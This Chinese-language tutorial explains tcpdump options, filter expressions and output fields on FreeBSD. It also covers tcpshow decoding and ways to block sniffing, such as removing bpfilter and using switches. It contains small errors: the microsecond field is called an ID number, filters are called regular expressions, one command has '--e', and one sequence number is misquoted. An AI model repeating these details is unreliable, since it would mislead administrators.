　　tcpdump支持相当多的不同参数，如使用-i参数指定tcpdump监听的网络界面，这在计算机具有多个网络界面时非常有用，使用-c参数指定要监听的数据包数量，使用-w参数指定将监听到的数据包写入文件中保存，等等。

　　然而更复杂的tcpdump参数是用于过滤目的，这是因为网络中流量很大，如果不加分辨将所有的数据包都截留下来，数据量太大，反而不容易发现需要的数据包。使用这些参数定义的过滤规则可以截留特定的数据包，以缩小目标，才能更好的分析网络中存在的问题。tcpdump使用参数指定要监视数据包的类型、地址、端口等，根据具体的网络问题，充分利用这些过滤规则就能达到迅速定位故障的目的。请使用man tcpdump查看这些过滤规则的具体用法。

　　显然为了安全起见，不用作网络管理用途的计算机上不应该运行这一类的网络分析软件，为了屏蔽它们，可以屏蔽内核中的bpfilter伪设备。一般情况下网络硬件和TCP/IP堆栈不支持接收或发送与本计算机无关的数据包，为了接收这些数据包，就必须使用网卡的混杂模式，并绕过标准的TCP/IP堆栈才行。在FreeBSD下，这就需要内核支持伪设备bpfilter。因此，在内核中取消bpfilter支持，就能屏蔽tcpdump之类的网络分析工具。

　　并且当网卡被设置为混杂模式时，系统会在控制台和日志文件中留下记录，提醒管理员留意这台系统是否被用作攻击同网络的其他计算机的跳板。

May 15 16:27:20 host1 /kernel: fxp0: promiscuous mode enabled

　　虽然网络分析工具能将网络中传送的数据记录下来，但是网络中的数据流量相当大，如何对这些数据进行分析、分类统计、发现并报告错误却是更关键的问题。网络中的数据包属于不同的协议，而不同协议数据包的格式也不同。因此对捕获的数据进行解码，将包中的信息尽可能的展示出来，对于协议分析工具来讲更为重要。昂贵的商业分析工具的优势就在于它们能支持很多种类的应用层协议，而不仅仅只支持tcp、udp等低层协议。

　　从上面tcpdump的输出可以看出，tcpdump对截获的数据并没有进行彻底解码，数据包内的大部分内容是使用十六进制的形式直接打印输出的。显然这不利于分析网络故障，通常的解决办法是先使用带-w参数的tcpdump 截获数据并保存到文件中，然后再使用其他程序进行解码分析。当然也应该定义过滤规则，以避免捕获的数据包填满整个硬盘。FreeBSD提供的一个有效的解码程序为tcpshow，它可以通过Packages Collection来安装。

# pkg_add /cdrom/packages/security/tcpshow*# tcpdump -c 3 -w tcpdump.outtcpdump: listening on fxp0# tcpshow < tcpdump.out---------------------------------------------------------------------------Packet 1TIME:12:00:59.984829LINK:00:10:7B:08:3A:56 -> 01:80:C2:00:00:00 type=0026<*** No decode support for encapsulated protocol ***>---------------------------------------------------------------------------Packet 2TIME:12:01:01.074513 (1.089684)LINK:00:A0:C9:AB:3C:DF -> FF:FF:FF:FF:FF:FF type=ARPARP:htype=Ethernet ptype=IP hlen=6 plen=4 op=requestsender-MAC-addr=00:A0:C9:AB:3C:DF sender-IP-address=202.102.245.3target-MAC-addr=00:00:00:00:00:00 target-IP-address=202.102.245.3---------------------------------------------------------------------------Packet 3TIME:12:01:01.985023 (0.910510)LINK:00:10:7B:08:3A:56 -> 01:80:C2:00:00:00 type=0026<*** No decode support for encapsulated protocol ***>

　　tcpshow能以不同方式对数据包进行解码，并以不同的方式显示解码数据，使用者可以根据其手册来选择最合适的参数对截获的数据包进行分析。从上面的例子中可以看出，tcpshow支持的协议也并不丰富，对于它不支持的协议就无法进行解码。

　　除了tcpdump之外，FreeBSD的Packages Collecion中还提供了Ethereal和Sniffit两个网络分析工具，以及其他一些基于网络分析方式的安全工具。其中Ethereal运行在X Window 下，具有不错的图形界面，Sniffit使用字符窗口形式，同样也易于操作。然而由于tcpdump对过滤规则的支持能力更强大，因此系统管理员仍然更喜欢使用它。对于有经验的网络管理员，使用这些网络分析工具不但能用来了解网络到底是如何运行的，故障出现在何处，还能进行有效的统计工作，如那种协议产生的通信量占主要地位，那个主机最繁忙，网络瓶颈位于何处等等问题。因此网络分析工具是用于网络管理的宝贵系统工具。为了防止数据被滥用的网络分析工具截获，关键还是要在网络的物理结构上解决。常用的方法是使用交换机或网桥将信任网络和不信任网络分隔开，可以防止外部网段窃听内部数据传输，但仍然不能解决内部网络与外部网络相互通信时的数据安全问题。如果没有足够的经费将网络上的共享集线器升级为以太网交换机，可以使用FreeBSD系统执行网桥任务。这需要使用option BRIDGE编译选项重新定制内核，此后使用bridge命令启动网桥功能。

tcpdump采用命令行方式，它的命令格式为：

tcpdump [ -adeflnNOpqStvx ] [ -c 数量 ] [ -F 文件名 ]　　　　　　　　　　[ -i 网络接口 ] [ -r 文件名] [ -s snaplen ]　　　　　　　　　　[ -T 类型 ] [ -w 文件名 ] [表达式 ]

　　
(1) tcpdump的选项介绍

• -a 　　　将网络地址和广播地址转变成名字；
  　　　
• -d 　　　将匹配信息包的代码以人们能够理解的汇编格式给出；
  　　　
• -dd 　　 将匹配信息包的代码以c语言程序段的格式给出；
  　　　
• -ddd 　　将匹配信息包的代码以十进制的形式给出；
  　　　
• -e 　　　在输出行打印出数据链路层的头部信息；
  　　　
• -f 　　　将外部的Internet地址以数字的形式打印出来；
  　　　
• -l 　　　使标准输出变为缓冲行形式；
  　　　
• -n 　　　不把网络地址转换成名字；
  　　　
• -t 　　　在输出的每一行不打印时间戳；
  　　　
• -v 　　　输出一个稍微详细的信息，例如在ip包中可以包括ttl和服
  务类型的信息；
  　　　
• -vv 　　 输出详细的报文信息；
  　　　
• -c 　　　在收到指定的包的数目后，tcpdump就会停止；
  　　　
• -F 　　　从指定的文件中读取表达式,忽略其它的表达式；
  　　　
• -i 　　　指定监听的网络接口；
  　　　
• -r 　　　从指定的文件中读取包(这些包一般通过-w选项产生)；
  　　　
• -w 　　　直接将包写入文件中，并不分析和打印出来；
  　　　
• -T 　　　将监听到的包直接解释为指定的类型的报文，常见的类型有rpc （远程过程调用）和snmp（简单网络管理协议；）
  　　
  (2) tcpdump的表达式介绍

　　表达式是一个正则表达式，tcpdump利用它作为过滤报文的条件，如果一个报文满足表达式的条件，则这个报文将会被捕获。如果没有给出任何条件，则网络上所有的信息包将会被截获。在表达式中一般如下几种类型的关键字。

　　第一种是关于类型的关键字，主要包括host，net，port, 例如 host 210.27.48.2，指明 210.27.48.2是一台主机，net 202.0.0.0 指明 202.0.0.0是一个网络地址，port 23 指明端口号是23。如果没有指定类型，缺省的类型是host.

　　第二种是确定传输方向的关键字，主要包括src , dst ,dst or src, dst and src ,这些关键字指明了传输的方向。举例说明，src 210.27.48.2 ,指明ip包中源地址是210.27.48.2 , dst net 202.0.0.0 指明目的网络地址是202.0.0.0 。如果没有指明方向关键字，则缺省是src or dst关键字。

　　第三种是协议的关键字，主要包括fddi,ip,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤数据接口网络)上的特定的网络协议，实际上它是”ether”的别名，fddi和ether具有类似的源地址和目的地址，所以可以将fddi协议包当作ether的包进行处理和分析。其他的几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议，则tcpdump将会监听所有协议的信息包。
　　除了这三种类型的关键字之外，其他重要的关键字如下：gateway, broadcast,less,greater,还有三种逻辑运算，取非运算是 ‘not ‘ ‘! ‘, 与运算是’and’,’&&’;或运算 是’or’ ,’││’；这些关键字可以组合起来构成强大的组合条件来满足人们的需要，下面举几个例子来说明。

　　A、想要截获所有210.27.48.1 的主机收到的和发出的所有的数据包：
#tcpdump host 210.27.48.1
　　B、想要截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信，使用命令：（在命令行中适用　　　括号时，一定要
#tcpdump host 210.27.48.1 and (210.27.48.2 or 210.27.48.3 )
　　C、如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包，使用命令：
#tcpdump ip host 210.27.48.1 and ! 210.27.48.2
　　D、如果想要获取主机210.27.48.1接收或发出的telnet包，使用如下命令：
#tcpdump tcp port 23 host 210.27.48.1
　　
(3) tcpdump的输出结果介绍

　　
下面我们介绍几种典型的tcpdump命令的输出信息

　　A、数据链路层头信息

使用命令

#tcpdump --e host ice

ice 是一台装有linux的主机，她的MAC地址是0：90：27：58：AF：1A
H219是一台装有SOLARIC的SUN工作站，它的MAC地址是8：0：20：79：5B：46；上一条命令的输出结果如下所示：

21:50:12.847509 eth0 < 8:0:20:79:5b:46 0:90:27:58:af:1a ip 60: h219.33357 > ice.telne
t 0:0(0) ack 22535 win 8760 (DF)

　　分析：21：50：12是显示的时间， 847509是ID号，eth0 < 表示从网络接口eth0 接受该数据包，eth0 >表示从网络接口设备发送数据包, 8:0:20:79:5b:46是主机H219的MAC地址,它表明是从源地址H219发来的数据包. 0:90:27:58:af:1a是主机ICE的MAC地址,表示该数据包的目的地址是ICE . ip 是表明该数据包是IP数据包,60 是数据包的长度, h219.33357 > ice.telnet 表明该数据包是从主机H219的33357端口发往主机ICE的TELNET(23)端口. ack 22535 表明对序列号是222535的包进行响应. win 8760表明发送窗口的大小是8760.

　　B、ARP包的TCPDUMP输出信息
　　
使用命令

#tcpdump arp

得到的输出结果是：

22:32:42.802509 eth0 > arp who-has route tell ice (0:90:27:58:af:1a)

22:32:42.802902 eth0 < arp reply route is-at 0:90:27:12:10:66 (0:90:27:58:af:1a)分析: 22:32:42是时间戳, 802509是ID号, eth0 >表明从主机发出该数据包, arp表明是ARP请求包, who-has route tell ice表明是主机ICE请求主机ROUTE的MAC地址。 0:90:27:58:af:1a是主机ICE的MAC地址。

　　C、TCP包的输出信息

用TCPDUMP捕获的TCP包的一般输出信息是：

src > dst: flags data-seqno ack window urgent options

src > dst:表明从源地址到目的地址, flags是TCP包中的标志信息,S 是SYN标志, F (FIN), P (PUSH) , R (RST) “.” (没有标记); data-seqno是数据包中的数据的顺序号, ack是下次期望的顺序号, window是接收缓存的窗口大小, urgent表明数据包中是否有紧急指针. Options是选项.

　　D、UDP包的输出信息
　　
用TCPDUMP捕获的UDP包的一般输出信息是：

route.port1 > ice.port2: udp lenth

UDP十分简单，上面的输出行表明从主机ROUTE的port1端口发出的一个UDP数据包到主机ICE的port2端口，类型是UDP， 包的长度是lenth。